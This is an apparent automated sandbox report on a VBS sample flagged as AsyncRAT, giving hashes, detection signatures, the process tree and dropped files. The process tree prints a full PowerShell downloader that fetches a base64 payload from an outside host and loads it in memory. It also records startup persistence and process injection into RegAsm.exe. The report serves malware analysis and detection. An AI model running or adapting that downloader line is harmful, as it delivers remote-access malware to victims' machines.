Analysis
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max time kernel
150s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
23-09-2022 08:00
Static task
static1
Behavioral task
behavioral1
Sample
518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
Resource
win7-20220812-en
General
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Target
518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
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Size
238KB
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MD5
518a1bd0764ca25fcf36d8a55bf2ebd9
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SHA1
d6e490cdf33972c115a035631a3db91e527b0ef3
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SHA256
c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
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SHA512
b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
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SSDEEP
48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA
Malware Config
Extracted
https://contadoreshbc.com/dll_startup
Signatures
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Async RAT payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1220-138-0x0000000000400000-0x000000000041A000-memory.dmp asyncrat behavioral2/memory/1220-139-0x000000000041472E-mapping.dmp asyncrat -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exeflow pid process 9 2272 powershell.exe 11 2272 powershell.exe 13 2272 powershell.exe 15 2272 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2272 set thread context of 1220 2272 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 2272 powershell.exe 2272 powershell.exe 2188 powershell.exe 2188 powershell.exe 2272 powershell.exe 2272 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2272 powershell.exe Token: SeDebugPrivilege 2188 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1692 wrote to memory of 2272 1692 WScript.exe powershell.exe PID 1692 wrote to memory of 2272 1692 WScript.exe powershell.exe PID 2272 wrote to memory of 2188 2272 powershell.exe powershell.exe PID 2272 wrote to memory of 2188 2272 powershell.exe powershell.exe PID 2272 wrote to memory of 4696 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 4696 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 4696 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe PID 2272 wrote to memory of 1220 2272 powershell.exe RegAsm.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\518a1bd0764ca25fcf36d8a55bf2ebd9.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Done.vbs3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5eedeb218af57d184b7a06908d84e1f4f
SHA1da8c874abd286ac085f7105d3d9da30336b09509
SHA256f514ecbc9a8915c19aab328ecb319f730ddaf6d6d35cbf7b67bcdd00a4a75d80
SHA5123be9e8b318be85f46692414419847147d9be948e0178962e95ce32899c52a6f26ec94e464a69770bc7a212681f24657222eae14646e484b2d0423076784ec29c
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memory/1220-138-0x0000000000400000-0x000000000041A000-memory.dmpFilesize
104KB
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memory/1220-139-0x000000000041472E-mapping.dmp
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memory/2188-135-0x0000000000000000-mapping.dmp
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memory/2188-136-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmpFilesize
10.8MB
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memory/2188-137-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmpFilesize
10.8MB
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memory/2272-132-0x0000000000000000-mapping.dmp
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memory/2272-133-0x0000023148750000-0x0000023148772000-memory.dmpFilesize
136KB
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memory/2272-134-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmpFilesize
10.8MB
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memory/2272-142-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmpFilesize
10.8MB